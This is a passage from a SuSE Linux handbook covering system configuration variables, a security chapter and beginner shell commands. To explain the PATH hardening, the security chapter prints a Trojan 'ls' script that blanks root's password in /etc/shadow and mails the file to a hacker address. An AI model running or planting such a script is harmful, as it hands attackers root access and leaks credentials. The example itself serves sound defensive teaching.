  Activates Hylafax. You will have to invoke **faxsetup** before setting this variable to yes.
- **START_SMB=no**
  Start the samba server; Windows file and printer server.
- **START_MARSNWE=no**
  Activates the Novell server emulation.
- **START_XNTPD=yes**
  Controls whether the "Network Time Protocol (NTP) daemon" is activated (package xntp). It is configured via /etc/ntp.conf.
- **DISPLAYMANAGER=""**
  Sets up the login of the machine. This my either be a text console or the X Window System. Possible entries are: xdm (The standard displaymanager of the X Window System), kdm (KDE's display manager) or "". The latter sets the login to text console (run level 2). This is the default.
- **KDM_SHUTDOWN=root**
  Controls which user is allowed to shutdown the machine via kdm (Reboot oder Shutdown). Possible values are: root ('root'), all (every user), none, and local (it may only be shutdown by users that logged in locally). If this is set to "", root is the default.

- **CONSOLE_SHUTDOWN=reboot**
  Controls how **init** should react to Strg + Alt + Entf . Possible values: `reboot` (the machine reboots), `halt` (the machine shuts down) and `ignore` (nothing happens). Default is `reboot`
- **START_AXNET=no**
  Applix*ware* server.
- **START_ADABAS=no**
  Adabas server. The followin variables belong to **Adabas**: **DBROOT**, **DBNAME**, **DBUSER** and **DBCONTROL** – see respective comments in `rc.config`.
- **START_ARKEIA=no**
  Start **Arkeia** backupserver.
- **START_ARGUS=no**
  Argus server (network monitor).
- **ARGUS_INTERFACE=eth0** The interface **Argus** should listen to.
- **ARGUS_LOGFILE="/var/log/argus.log"**
  The **Argus** logfile. This file might get rather big!
- **CRON=yes**
  Sets the start and stop of *cron daemon*. This daemon lets you start certain programs at a given time. This daemon is only started in run level 2 and 3. It is highly recommended that you activate this daemon especially if your computer runs all the time. An alternative or replacement is the AT daemon (see section 17.6, page 342).

> There are a lot of options which require you to regularly run certain commands and programs. Therefore, cron daemon should be activated on every system.

Local maintenance

- **RUN_UPDATEDB=yes**
  Set this to `yes` to have the **locate** database updated once per day via **cron**. **locate** is useful for quickly finding files. This tool may be fine tuned by a set of variables: **RUN_UPDATEDB_AS**, **UPDATEDB_NETPATHS**, **UPDATEDB_NETUSER**, and **UPDATEDB_PRUNEPATHS** (see comments in `rc.config`).
- **REINIT_MANDB=yes**
  If the manpage data base should be renewed once a day by **cron.daily**.
- **CREATE_INFO_DIR=yes**
  Set this to `yes` to have `/usr/info/dir` created, which serves as a general index of all info pages. This is useful after installing a package which contains info pages. Keep in mind that **perl** needs to be installed for this to work.
- **CHECK_PERMISSIONS=set**
  Controls check of file permissions according to `/etc/permissions`. **set** corrects wrong entries, **warn** warns you, and **no** deactivates this feature.

- **PERMISSION_SECURITY="easy local"**
  There exist three security levels in /etc/permissions.paranoid, /etc/permissions.secure and /etc/permissions.easy. You may enter either **easy**, **secure** or **paranoid**. You may as well create own security levels; e. g. in /etc/permissions.local. Then you may use **local** for activating your level.
- **RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb**
  Controls where **cron.daily** should install its RPM database backup. If you want to disable this feature, set this variable to **""**.
- **MAX_RPMDB_BACKUPS=5**
  Maximum number of backup files for the RPM database.
- **DELETE_OLD_CORE=yes**
  Core files are memory images of programs which have been killed due to a segmentation fault. These images are very useful for debugging. If this is enabled, a regular search and deletion of old core files is launched.
- **MAX_DAYS_FOR_CORE=7**
  Assigns how old core files should be before they are deleted.
- **MAX_DAYS_FOR_LOG_FILES=365**
  If a log file (mainly under /var/log) reaches a distinct size, it will be automatically compressed and archived. 'root' is informed via email. This parameter sets how long these files are to be kept on disk before being deleted automatically. If you set this value to 0, no compressing and no archiving will be done. Log files will be written forever and can reach a remarkable size! Compressed log files can be viewed anytime using **zless**.
- **MAX_DAYS_IN_TMP=30**
  Selected directories (see **TMP_DIRS_TO_CLEAR** below) are checked daily to see whether they have been touched during the selected time interval (set in days). Files which have not will be deleted automatically.
- **TMP_DIRS_TO_CLEAR="/tmp /var/tmp"**
  Enter here all directories which are to be searched for old files (see **MAX_DAYS_IN_TMP=30** above).
- **OWNER_TO_KEEP_IN_TMP="root bs"**
  Files of system users given here should not be deleted even if they have not been touched within the given time.
- **ROOT_LOGIN_REMOTE=yes**
  If you want to allow 'root' to log in via **telnet**.
- **SUSEWM_UPDATE**=yes
  Controls whether **SuSEconfig** should adapt the system wide configuration files according to the installed packages. You may fine tune this feature by means of the following variables: **SUSEWM_WM**, **SUSEWM_MWM**, **SUSEWM_XPM**, **SUSEWM_ADD** and **SUSEWM_COMPAT**.

Part VIII

Security and hints

Chapter **18**

Security is a matter of trust

18.1 Basics

Attacks and intruders from the Internet can no longer be ignored. Every day there are news stories about some new threat whether it be to your PC at home or the network at your company.

SuSE Linux offers very effective protection against such threats, but before we go into the details, let us look more closely at what security and trust is really about. Here are six good reasons for protecting your computer:

1. Protection for your assets
2. Access to information
3. Data availability
4. Data integrity
5. Confidentiality of sensitive information
6. Privacy

A complete security solution is necessary in order to prevent someone from taking advantage of these issues. You not only must protect your computer from outside attacks but also against data loss from equipment failure such as a hard drive crash or faulty backup tapes.

> Backing up on a truly regular basis is vital. In addition, the integrity of these backups should be checked from time to time to make sure they are reliable.

Your computer is at risk in the following ways:

direct access to your computer. It can be stolen, sabotaged or damaged by an untrusted person.

natural disasters such as lightning strikes, floods and earthquakes can damage your computer.

faulty hardware and software, whether because it is damaged, worn out or faulty by design, can corrupt or otherwise make your data less reliable. In addition, design faults may give you cause for legal action.

loss of storage media. Diskettes, tapes and hard drives can be damaged, lost and stolen.

electromagnetic radiation is emitted by your computer, monitor and even networking cables. Sophisticated surveillance equipment can use this to monitor the activity on your computer.

users present the most likely risks. They may cause damage both on purpose and unintentionally.

communications links via both local and worldwide networks can be scanned using sniffers and other hacker tools. Open communication links make your computer vulnerable to a break in—even from another part of the world.

A complete and adequate security plan must consider all of these risks. However, we will mainly address the last two and show how they may be eliminated by properly setting up SuSE Linux.

In section 18.1.1 and section 18.1.2, we first point out the different attacks. Later, in section 18.2, page 353, we describe the relevant security tools in detail. Finally, at the end of the chapter, we give some important general guidelines.

18.1.1 Local security

If you want to secure your data, you should begin with your personal computer. Even if your computer is not connected or only connected via dialup to the Internet, you should take certain security precautions. Having a party guest erase your hard drive can be a pain. Even more so if it contains the only copy of your dissertation.

Passwords

As Linux is a multiuser operating system, it offers not only a means for administering users but also a complete authentication mechanism. Although it may not seem necessary at first, do be sure you enter a password for every user on your computer.[1] This provides positive protection for your computer against intruders. You should take special care to give the user `root` a good password as `root` use is the main target for crackers.

However, as long as others have physical access to your computer, the best password in the world is of no use. Any person who can boot your computer can attack it using a boot diskette. For this reason, you should disable the floppy as a boot device in your BIOS setup.

> For this to have any benefit, you will need to assign a BIOS password. Do not forget this password! Without it, you will not be able to access your own BIOS!

There are several programs that try to guess passwords using a database and certain rules. A good system administrator should make use of these tools to find weak passwords on the system and eliminate them.

[1] Many references discuss this. In section 18.3, we give you some practical advice.

Viruses and Trojan horses

There used to be a time when computer viruses frightened anxious users. Floppy diskettes provided the ideal medium for viruses to be passed quickly from computer to computer. They could spread quickly this way. Fortunately, up to now there are only two viruses known to Linux. A major deterrent is that most software on Linux comes with complete source code. SuSE Linux itself is completely free of any viruses.

If you follow the guidelines given in section 18.3, page 357, you should be in no danger of virus infection.

The so-called macro viruses must be treated differently. These are most commonly attached as macros to Microsoft Office documents and can then be transferred as electronic mail. As there is no Linux version of Microsoft Office, these can do no damage in Linux itself. In its capacity as a “Mail User Agent”, it is possible to scan electronic mail in Linux for embedded viruses.

Trojan horses are completely different from viruses. These are programs which claim to do one thing but do some evil deed as well. For example, a shell login Trojan horse might email your user name and password to a cracker. Or it might email your credit card number...

While there is no definitive protection against viruses and Trojan horses, you can greatly reduce the likelihood of such attacks by installing a good virus scanner and transferring both diskettes and programs with care. In addition, please see section 18.3.

Permissions

All users should work in a reduced permissions environment in order to be sure they do not harm your system, whether on purpose or not. Further, so far as possible, you should not work as `'root'` user. And you should be the only person who knows the `'root'` password.

Buffer overruns

Forcing buffer overruns is one of the most popular methods crackers use to get `'root'` permissions on a computer. Also known as ”stack smashing vulnerabilities”, these *exploits* overwrite static entries in a program’s *user stack* (e. g., while entering text) with a value that launches a command such as invoking a shell. This is possible in programs which have static array dimensions and which don’t check for buffer overrun.

The only vulnerable programs are those with the SUID bit set. These are programs that are executed using the UID of the owner instead of the user. Normally, these programs, e. g., **`passwd`**, use SUID because they perform tasks not allowed to a user. For this reason, we have worked to minimize the number of SUID programs in SuSE Linux and we have taken additional measures to protect these programs from attack. As new exploits are frequently discovered, you should keep yourself informed by reading mailing lists like BugTraq and linux-alert and newsgroups like comp.security.announce. Be sure to fix any security holes as soon as possible.

Because of its complexity, The X Window System (XFree86) has been infamous for bugs. SuSE Linux has made an effort to change this. The servers and libraries are no longer SUID `'root'`. There are known vulnerabilities in client-server communications (it is possible to intercept the keyboard entries). To assure a high degree of security, follow the guidelines in section 18.3, use Xauthority (command **`xauth`**) and do not use **`xhost +`**. Always use package `ssh` in series `n` (Network) whenever invoking remote commands. If you plan to use **ssh** commercially, please look at the licenses in `/usr/doc/packages/ssh/COPYING`. **ssh** is available for almost any platform.

The X Window System should never be installed on critical servers.

18.1.2 Network security

Most computers these days are no longer standalone. As Linux offers all the capabilities, most Linux computers are on a LAN and may just as easily be connected to the Internet via a modem. In addition, Linux computers are frequently used as gateways for complex subnets. These factors provide many avenues of attack from the network.

You may avoid most of these attacks by setting up a firewall. The ports in use will still be vulnerable, but they may be protected by using the appropriate tools.

The potential for being attacked during the 30 minutes each day you read your email while connected to the Internet via dialup modem may be neglected. Systems using permanent connections, however, should be protected.

We point out the most important attacks.

Denial of service

Denial of service attacks attempt to overload a network service. If successful, not only the specific service attacked but the computer itself may often no longer be reached. After the attack, the network package which initiated it will often be moved somewhere else. Denial of service is often used together with IP spoofing (see section 18.1.2) to conceal the source of the attack. Tracing the attacker is almost impossible. You need effective means of protection.

When denial of service attacks are discovered, a patch protecting against it will usually be available for download over the Internet within hours. SuSE Linux has been patched to protect against every denial of service attack known up to pressing the CD as long as a patch exists. The administrator must keep informed at all times about both attacks and available patches.

Man in the middle

"Man in the middle" attacks refer to a network that is routed via one or more hosts. The intruder takes control of one of the routers, may sniff IP packets, redirect and replace them. As currently routers do not require authentication, this is quite easy. With the new standard IPv6 protocol, this will change.

The only protection against this kind of attack is good cryptographic tools. These attacks occur mainly while accessing WWW sites or while exchanging mail. You should never use commands such as **telnet** and **rsh** as they send an unencrypted password over the network. This enables the advanced hacker to read them! Switch to **ssh** to avoid this. Email may be encrypted with **pgp**. Even HTTP pages may be encrypted using the SSL protocol. This protocol is used with package `apache` in series `n` (Network).

IP spoofing

IP spoofing makes use of a security hole in the TCP/IP protocol—it doesn't check the return address. Thus, this address may be changed to cover the cracker's origin of attack.

It is important to configure your router to require an external network connection. Only packets containing an external address should be routed to the internal network and packets with an internal address to the external network. It should be the responsibility of each ISP to configure their routers properly so that invalid packets will not be routed.

18.2 Tools

Let's look at the tools you have for checking and maintaining your system. What dangers exist will always depend on the kind of network or system you have. Less protection is needed behind a working firewall than for an unprotected network.

18.2.1 Local tools

Two great advantages of Linux over other operating systems are it's stability and the fact that it is a multiuser system. However, the latter entails risks which should not be underestimated. In addition to the known permissions, there are parameters that may be exploited by the advanced user. We are talking about the `SUID` bit. A program with this set always runs with the UID of the owner not the user! This might sound dangerous but it normally isn't. In fact, there are several programs that rely on this capability. For example, the command **ping** needs to be executed as superuser. This would mean that only root would be allowed to execute this program. To avoid this, the `SUID` bit is set.

```
newbie@earth:/home/newbie > ls -l /bin/ping
```

```
-rwsr-xr-x   1 root   root     13216 Mar 17 16:36 /bin/ping
```

If you would like to know the programs that have the `SUID` bit set *and* belong to user `'root'`, enter the following command:

```
newbie@earth:/home/newbie > find / -uid 0 -perm +4000
```

This is one way may detect "suspicious" programs. YaST enables you to set 'Permissions will be set to:' (in 'System administration' and 'Security settings') secure. Which files are affected may be seen in /etc/permissions.secure.

No one has the time to monitor his computer every minute. Fortunately, there are tools to help you perform this tedious task. One of these tools should be mentioned, as it is recommended by CERT.[2] This is the **tripwire** package in package tripwire, series n (Network).

Tripwire

Tripwire is easy to understand. It checks the system and saves the states and necessary information in a database. You may set which files to check in a configuration file.

Tripwire doesn't check for infected files or system errors. It assumes that it is installed on a clean system. That's why it should be installed directly after the system has been set up and before it is connected to the network. Here is how to create the database:

```
root@earth:root > /var/adm/tripwire/bin/tripwire -init
```

The paths to the database and configuration files as they have been compiled into package tripwire on SuSE Linux are shown in table 18.1.

/var/adm/tripwire	Database and configuration file
databases	This path is created temporarily. Databases are saved here. You need to copy them to the correct place.
/var/adm/tripwire/ tw.config	The configuration file
/var/adm/tripwire/db	The database itself

Table 18.1: Hardcoded files for Tripwire

Only the superuser ('root') may change to the Tripwire home directory. Even better would be if the database were on a read-only filesystem (e. g., a write protected floppy). An example configuration file may be found in /usr/doc/packages/tripwire/tw.conf.example.linux. Help on the syntax of Tripwire may be found in the corresponding manpage tw.config. You may apply different checksum methods to different files and directories. After you have set up your configuration file, you may run **tripwire** regularly, i.e., as a **cron** job.

Surfing the log files

A very important resource for gathering information about your system is the log files. These are files where programs leave a record of their work. At

[2] CERT = Computer Emergency Response Team; see http://www.cert.dfn.de/dfncert/info.html.

least one of them, `/var/log/messages`, should be checked regularly. Most of the logs in SuSE Linux are configured to write to this file.

Normally, one doesn't have the time to browse this huge file. Fortunately, there are tools that make reading log files easier. One of these is the program **logsurfer**, which continually checks log files directed by a configuration file. You may attach commands to certain occurrences in the log files. For example, if the word "fail" occurs, you may want to be informed via email. **logsurfer** is how you can do it. **logsurfer** comes with an excellent manpage. See manpage of **`logsurfer.conf`** (**`man 4 logsurfer.conf`**).

The <PATH> variable and 'root'...

You may have noticed while working with SuSE Linux that the current directory is excluded from the search path of `'root'`. This is why when you are `'root'`, you have to add the prefix `./` to launch commands from the current directory. Why SuSE Linux is configured this way is illustrated in the example below:

Suppose there is a user working on your system who creates the script in file contents 18.2.1, page 355

```
#!/bin/sh

cat /etc/shadow | \
    sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow
mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow
ls $*
```

File contents 18.2.1: Shell script to hack root account

and moves this script to `/tmp/ls`. Now, if `'root'` changes to `/tmp`, even though he has the actual path in his <PATH> environment variable, `'root'` will not launch `/bin/ls` but our little script in `/tmp/ls`. The result of executing this script is that the `'root'` password is removed. Even worse, the script also sends the user who wrote it an email that the password has been removed. Now, he may freely log in as user `'root'`. The consequences may be very unpleasant `;-)` .

Without the current directory in `'root's'` path, this could only have happened if `'root'` had explicitly typed **`./ls`**. By the way, this is an example of a Trojan horse as described above (see section 18.1.1).

18.2.2 Networking tools

It is instructive to watch a host that is connected to a network. We want next to point out how you can protect your Linux computer from attacks via the network.

inetd

inetd (Internet "Super Server") is undoubtedly one of the most important services, as it enables and disables other services (ports).

On SuSE Linux, every service that might create a vulnerability is disabled by default. These include the so-called "internal services"of **inetd**.

The configuration file is /etc/inetd.conf. Be careful when activating other services. A list of services that are normally needed is shown in file contents 18.2.2.

```
ftp    stream tcp nowait root   /usr/sbin/tcpd      wu.ftpd -a
telnet stream tcp nowait root   /usr/sbin/tcpd      in.telnetd
shell  stream tcp nowait root   /usr/sbin/tcpd      in.rshd -L
login  stream tcp nowait root   /usr/sbin/tcpd      in.rlogind
finger stream tcp nowait nobody /usr/sbin/tcpd      in.fingerd -w
ident  stream tcp wait   nobody /usr/sbin/in.identd in.identd \
       -w -e -t120
```

File contents 18.2.2: Example configuration for **inetd**

Consider whether you really need services such as **telnet**, **shell** und **login**. The disadvantage of each of these services is that passwords are tranmitted without encryption. Reading these passwords is not difficult. There are tools which make this kind of attack trivially easy.

Never, under any circumstances, allow remote 'root' access! Once again, we direct your attention to the "Secure Shell" (package ssh). It encrypts everything, even the password.

TCP wrappers

TCP wrappers (**tcpd**) enable you to securely use certain services for networks or IP addresses. **tcpd** is activated in SuSE Linux by default. You may see this in column six of file contents 18.2.2 and /etc/inetd.conf. **tcpd** launches the services that you request and checks whether you have the correct permissions.

Access control for services is set up in /etc/hosts.allow and /etc/hosts.deny:

- Access is allowed if there is a combination of client and host in /etc/hosts.allow.
- Access is denied if there is a combination of client and host in /etc/hosts.deny.
- If there is no rule in one of the above files, access is allowed.

> The first rule that is found is used. If access to, e. g., the **telnet** port in /etc/hosts.allow is allowed, it will be allowed even if it is denied in /etc/hosts.deny.

The syntax for making entries to these files is described in the manpage of **`hosts_access`** (**`man 5 hosts_access`**).

There is an alternative to TCP wrappers called **xinetd**, which includes the capabilities of both inetd and tcpd. A disadvantage of **xinetd** is that the configuration files of **inetd** and **xinetd** are incompatible.

> Only one Internet "Super Server" (**inetd** or **xinetd** may be started. You have to decide which to use.

18.3 General guidelines

1. Only use `'root'` for administrative purposes. You should create a user for your daily work.
2. Try to avoid the commands **`telnet`**, **`rlogin`** and **`rsh`**.
3. Use **`ssh`** instead, if you want to work remotely
4. Make sure to have up-to-date versions of relevant packages such as **bind**, **sendmail** and **ssh**.
5. Check your log files regularly.

Chapter 19

First steps with Linux

Since **UNIX** is a complex system, we can only cover the most important aspects. This book is not aimed at replacing the existing literature on Linux (or UNIX)—this would be impossible.

We recommend that former DOS users consider buying a few good books

Until you have your books in hand, this chapter should give you a short overview and, as well, support you while "experimenting" with Linux for the first time.

Being a UNIX novice, you should log in with your `'user name'` (*not* as root!), because first, there are a lot of settings that have already been dealt with for you and second, you will then only be responsible for your private *home* directory. This serves also for security purposes—to avoid deletion of system-relevant data.

There is *no* undelete on Linux (as there is on DOS). So, if you delete system files by accident, you will probably have to reinstall the entire system.

The first steps are just a little complicated since you are the system administrator as well, which is not an easy task for a novice user.

19.1 Logging in, "root", adding users

Since Linux is a multiuser system, you have to log in on the ☞*console* any time you want to use your system. This is called *login*. You enter your user name (e. g., `'newbie'`) and enter your password (only Enter at the first login).

```
login: newbie ↵
```

If this was succesful, you will find yourself in your "own" *home* directory (e. g., `/home/newbie` for the user `'newbie'`).

If you want to leave, log out using **`logout`**. That's all.

`'Root'` is the *system administrator* (☞*sysadmin*) `'Root'` is allowed to *do everything*. All important system information files can only be changed by `'root'`. Therefore, you should only log in as `'root'` if you plan to configure something or to execute system specific tasks. Never log in as `'root'` if it is not necessary (most novices forget this)! Thus, you protect your system against unwanted damage!

Some things only `'root'` can do:

- ☞*mounting* filesystems (such as CDs, floppies, installing software). This right can be given to selected users by adding the option `user` to the corresponding device in `/etc/fstab`.
- adding and deleting of users
- installing a new kernel
- configuring the system
- shutting down the system

19.2 Commands –the command line

Even if there exist a variety of graphical programs, you might find yourself in the situation where you need the UNIX-"command" (in an emergency e. g. when there is no GUI available).

What is a UNIX command?

UNIX commands are:

- executable programs
- Shell scripts
- Scripts using scripting languages (Perl, Tcl, etc).
- Shell aliases (such as shell macros).

They have one thing in commen: they are files. If you launch such a command under Linux, you tell the shell to invoke the file with that name (you need the search path, which is set in **$PATH**). Moreover the file needs to be executable.

So, what happens if the programm (e. g. the copy command) needs additional parameters or file names?

This is rather simple. There are *parameters*. Parameters are additional arguments for a command. They might tell the command optional items, such as file names etc. The parameters directly follow the command separated by at least one blank[1].

Furthermore it might be useful to controll the behaviour of the command. (e. g. if you want a long listing of file names instead of short). This is achieved by "options". Options are always behind the actual command and in front of the parameters. There are exception with "dirty" programs. Mostly options are preceeded by a dash (e. g. **`-la`**) and follow one of two schemes (see table 19.1):

`-a`	short version, UNIX typical
`--all`	long version, sog. GNU notation

Table 19.1: Command options

[1] This as well sets up that a blank can never be part of the command itself as it serves as separator between parameters; you may add blanks for a command if you enclose them in upticks (`""` or `''`)

If you want to place multiple options you can add them all behind on dash (lots of Linux programs understand this rule, but not all of them) Example:

```
-a -f -r -u    or
-afru          or
-frua
```

This example also shows that the order is irrelevant. Well, even here there are exceptions to the rule.

For making it even more complex, some options themselves understand optional parameters. Example:

```
-f <myfile>  or
  -f<myfile>
```

In some rare occasions (rarely) there has to be a blank between the option and its parameter. Normally you should set it.

Examples

Conclusion. That's how a command looks like under Linux:

(Examples)[2]:

```
earth: # fdisk
earth: # lsmod
earth: # ls
```

Using options this looks like:

```
earth: # fdisk -l
earth: # ls -l -a
earth: # ls -la
```

Using parameters:

```
earth: # fdisk /dev/hda
earth: # ls /tmp
```

And using options and parameters:

```
earth: # ls -la /tmp
earth: # rpm -qpl <meinpaket>.rpm
earth: # gcc -o <optionenparameter> <paramater>
```

It is essential that the blank separates all parts of the command. Thus it is an special character for Linux commands.

19.3 Shutting down and booting

> *IMPORTANT!* You should never turn off the machine while it is running nor press the *reset button* (☞*reset*)! If you switch it off without bringing it down properly, you risk loss of data and damage to your ☞*filesystem*!

The commands for shutting down your system properly are shown in table 19.2.

The **`shutdown`** command can only be invoked by `'root'`.

To shut down your system, log in as `'root'` and enter the commands **`shutdown -h now`** or **`shutdown -r now`**.

[2] Remember: "`earth: #` " shows the prompt, you *don't* have to enter them.

shutdown -h now	halts the system and (when you see the output: `"the system is halted"`) you can switch off your machine
shutdown -r now	reboots the system immediately

Table 19.2: Commands for halting your Linux system

As an alternative, you can use Ctrl + Alt + Del , which you might already know from booting DOS. This combination does not work if you are currently running X11. Nevertheless, this method can be used by any user on any virtual console.

19.4 Virtual consoles

Linux is a multiuser and ☞*multitasking* system. You will appreciate these features even on a single PC system.

In text mode, there are six virtual ☞*consoles* available. You can switch to any of them by using Alt + F1 to Alt + F6 . The seventh console is reserved for X11.[3]

If you want to switch to a console from X11 without leaving X11, you should use either of: Ctrl + Alt + F1 to Ctrl + Alt + F6 . Alt + F7 brings you back to X11.

19.5 Adding and deleting users

You can add users by using the **useradd** command. Again, this can only be done by `'root'`. A good alternative for invoking this command by hand is to use YaST to add users (see page 76). Example:

```
earth:/ # useradd -u 300 -g users -d /home/newbie \
      -s /bin/bash -m newbie
```

adds user `'newbie'` and creates the directory `/home/newbie`. `'newbie'` belongs to group `'users'` and uses the **bash** shell. Now `'root'` can give a password to `'newbie'` with:

```
earth:/ # passwd newbie
```

which `'newbie'` must use to log in. `'newbie'` can (and should!) change the password after logging in for the first time.

The `'root'` password is changed in exactly the same manner.

When you add a user, all files from `/etc/skel` will be copied into the user's home directory, thus providing a minimal system-wide configuration to all users.

Of course, each user can adapt these files to their personal needs.

To most easily maintain users, it is recommended that you use YaST.

[3] You can assign more consoles via `/etc/inittab`.

19.6 Directories and filenames

The character for separating directories (‘`\`’ under DOS) is a ‘`/`’ on UNIX. Thus, a path is a string in which all directories are separated by ‘`/`’. One single ‘`/`’ stands for the topmost directory, the ☞“*root directory*”.

Upper- and lower case are significant on UNIX, meaning that `Emil` names a different filename from `emil`. Separating a filename into its *name* and *extension* is not necessary, but there are some programs that expect a certain extension (e. g., `.dvi` in LaTeX).

One nice feature of the **bash** shell is *globbing*. Just enter the first significant word of a file or command and press TAB. This string will now be completed by the shell. Pressing TAB twice will show all possibilities (if what you entered was not significant enough).

19.7 Working with directories

After logging in, you will find yourself in your `home` directory. You can check this by typing **`pwd`** (print working directory):

```
newbie@earth:/home/newbie > pwd
  /home/newbie
```

To change into another directory, use the **`cd`** command (the same as on DOS). Typing:

```
newbie@earth:/home/newbie > cd /usr/bin
newbie@earth:/usr/bin >
```

changes into directory `/usr/bin`.

```
newbie@earth:/home/newbie > cd latex
newbie@earth:/home/newbie/latex >
```

changes to `latex` provided there is a directory `/home/newbie/latex`.

If you invoke **`cd`** without any argument you will be brought back to your home directory. This can be reached by typing a tilde (‘`~`’) as well.

So, typing:

```
newbie@earth:/home/newbie > cd ~/latex
```

changes to `latex` under your `home` directory. Like on DOS, ‘`.`’ signifies the current directory whereas ‘`..`’ stands for the parent directory.

You can create new directories with **`mkdir`** (make directory). The command:

```
newbie@earth:/home/newbie > mkdir texts
```

creates `text` under the current directory. Empty directories can be removed using the command **`rmdir`** (remove directory).

19.8 Working with files

Until they are replaced by objects or symbols (in future days), files play a vital and central role while working with a computer. Therefore, a huge variety of file commands exist under Linux.

19.8.1 Information on files

The command **ls** (list) outputs the contents of your current directory. A list of all filenames and directories is presented. Directory names end with a '/'. Try this:

```
newbie@earth: > ls /usr/bin
```

Executable programs do not have any required extensions such as DOS requires `.exe` or `.com`. Instead, execution is one of three *permissions* which may be set for each file by its owner. See section 19.9 for more on file permissions.

A nice option to **ls** is `-l`. This gives you a more detailed list of filenames, including the permissions, owner, group and size.

```
newbie@earth: > ls -l
```

This will create an output such as screen output 19.8.1.

```
drwxr-xr-x  6  newbie users   1024  Mar 21  12:39 ./
drwxr-xr-x  4  newbie users   1024  Mar 21  17:13 ../
drwxr-xr-x  2  newbie users   1024  Nov 6   16:19 bin/
-rwxr-xr-x  1  newbie users   4160  Mar 21  12:38 check*
drwxr-xr-x  2  newbie users   1024  Nov 6   16:23 etc/
drwxr-xr-x  2  newbie users   1024  Nov 6   16:19 sbin/
drwxr-xr-x  12 newbie users   1024  Nov 6   18:20 usr/
-rw-r--r--  1  newbie users 185050  Mar 15  12:33 xvi.tgz
-rw-r--r--  1  newbie users  98444  Mar 14  12:30 xvnews.tgz
```

Screen output 19.8.1: Output of **ls -l**

The meaning of the entries in screen output 19.8.1 is explained in table 19.3.

Permissions	The first character indicates the file type. 'd' stands for directory, 'l' for link and '-' is a normal file. The next nine characters indicate permissions for the user, the group and all other users (three characters each). 'r' stands for read, 'w' for write, and 'x' for execution. For example, '-rw-r--r--' refers to a file which can be read by the owner, the group and all others, whereas it can only be changed by the owner. See manpage of **chmod** (**man chmod**).
Owner	The owner of the file. See manpage of **chown** (**man chown**).
Group	The group the file belongs to. See manpage of **chgrp** (**man chgrp**).
Size	The file's size in bytes.

Table 19.3: to be continued...

Last change	Date when the file was last changed. Files that have been changed more than a year ago are marked with the year instead of hours:minutes.
Name	The file or directory's name.

Table 19.3: Explanation of UNIX file attributes

19.8.2 Wildcards

The ☞*wildcard* interpreting options of the shell (e. g., **bash**) are much expanded from those available on DOS.

For example:

```
ls *a???.?
```

gives all files in the current directory having an `'a'` as the sixth from the last and the second last one being a `'.'`. Instead of a single character, you can give a whole range of different characters. For example, letters `'a'`, `'b'`, `'c'`, `'d'`, `'e'`, `'f'`. This would be done like:

```
ls *[a-f]???.?
```

You can even search in non-alphabetical order:

```
ls *[1,3-5,M-P,a,k]???.?
```

19.8.3 Contents of files

You can view the contents of a file with **less** and **more** page by page. **more** lets you scroll forward with SPACE and backwards with b . A quite similar command is **cat** (concatenate) which takes multiple files as arguments and writes the contents directly to standard output, normally your screen. Since most files are bigger than just one screen, **cat** is mainly used to concatenate files via piping standard output. Entering:

newbie@earth: > `cat one two > oneandtwo`

does not show the contents of `one` and `two` but writes the result into the file `oneandtwo`.

19.8.4 Hidden files

A special sort of files are the hidden files. The filenames for these files begin with a dot and are only seen if you pass the shell the special option `-a`. In your home directory, just enter **ls -a**. Now, you should see all files, even these hidden ones (like `.profile` or `.xinitrc`). Hidden files are protected from an otherwise hazardous **rm *** (see section 19.8.5). These files have to deleted separately with **rm** <**.filename**>.

> Entering **rm .*** deletes all hidden files from the current directory! If the option `-r` is added (recursive; **rm -r .***), all files of the parent directory are deleted as well (they are named '`../bla`' which is represented by '`.*`' as well)!
> So be extremely careful with `-r`!

19.8.5 Copying, renaming and deleting of files

The command for copying files on Linux is **cp**:

```
cp source target
```

For copying file `/etc/XF86Config` into your home directory, you would use:

newbie@earth: > `cp /etc/XF86Config ~`

Files can be removed using the **rm** command. A very handy option is `-r` which deletes recursively (removing all subdirectories and their files as well; this is comparable to **deltree** on DOS). Entering:

newbie@earth: > `rm -r bin`

deletes directory `bin` and all files and subdirectories within. Please use this option with extreme caution, since there is absolutely no means of recovering (restoring) deleted files!

You can move files by typing **mv**. The syntax is identical to **cp**:

newbie@earth: > `mv xvnews.tgz XVNEWS.tgz`

Moves file `xvnews.tgz` to `XVNEWS.tgz` which is not more than just renaming it. It's going to be more interesting if you move whole directory trees:

newbie@earth: > `mv bin ~/latex`

This moves the directory `bin` (if there is one) to `~/latex`. All files that used to be under `bin` will now be found under `~/latex`. Even this command should be used with care since it is very easy to move whole trees to places that you do not remember afterwards.

Moving a complete directory tree is only possible within one filesystem (one partition).

19.8.6 Searching and grepping files

This leads to another useful command: **find**. For searching all subdirectories of the current directory for the file `emil`, you should enter:

```
newbie@earth: > find . -name "emil"
```

The first argument gives the directory where the search should commence. The option `name` expects a search string (wildcards are allowed). Thus, for searching for all files containing the string '`emil`' in their names, you would have to change the line to:

```
newbie@earth: > find . -name "*emil*"
```

As with all commands, we suggest you look at the man pages for more information.

A very fast way to find files is with the **locate** command. Look at the corresponding man page as well.

If you do not want to search for a file but for a string inside a file instead, you should use the **grep** command. This command line searches for the string '`detective`' in the file `emil`:

```
newbie@earth: > grep "detective" emil
```

With grep, you can search vast amounts of data for certain strings very quickly. Any number of filenames can be entered. Even searching using wildcards and regular expressions can be used. **grep** sends its results to standard output. It gives you every location where the string was found. **grep** knows many options. Please look at manpage of **grep** (**man grep**).

19.8.7 Symbolic links

By means of symbolic links, you can give another name to a file. This name then points to the corresponding file. Imagine that you want to keep different versions of a file but the version actually used should be always obtainable by the same name. The solution is called *symbolic linking* which points to the currently in use version. Symbolic links behave just like the file they link too, thus being executable if the "source" file is executable. The entry:

```
newbie@earth: > ln -s check.2.4 check
```

creates a symbolic link `check` which points to `check.2.4.1`. In your directory, this looks like figure 19.8.2:

```
lrwxrwxrwx 1 newbie users 1024 Mar 21 17:13 check -> check.2.4*
```

Screen output 19.8.2: A symbolic link using **ls -l**

Links can be removed by **rm**.

Here only the link is removed not the file it points to!

19.8.8 Archiving data and saving

For creating and unpacking archives, there is the command **tar** (tape archive). Normally, compressed archives have the extension `z` or `tar.gz`. Uncompressed archives have the extension `.tar`. The most important uses of **`tar`** are:

1. Unpacking archives (e. g., from CDs)

   ```
   newbie@earth: > tar xvfz archive-file.tgz
   ```

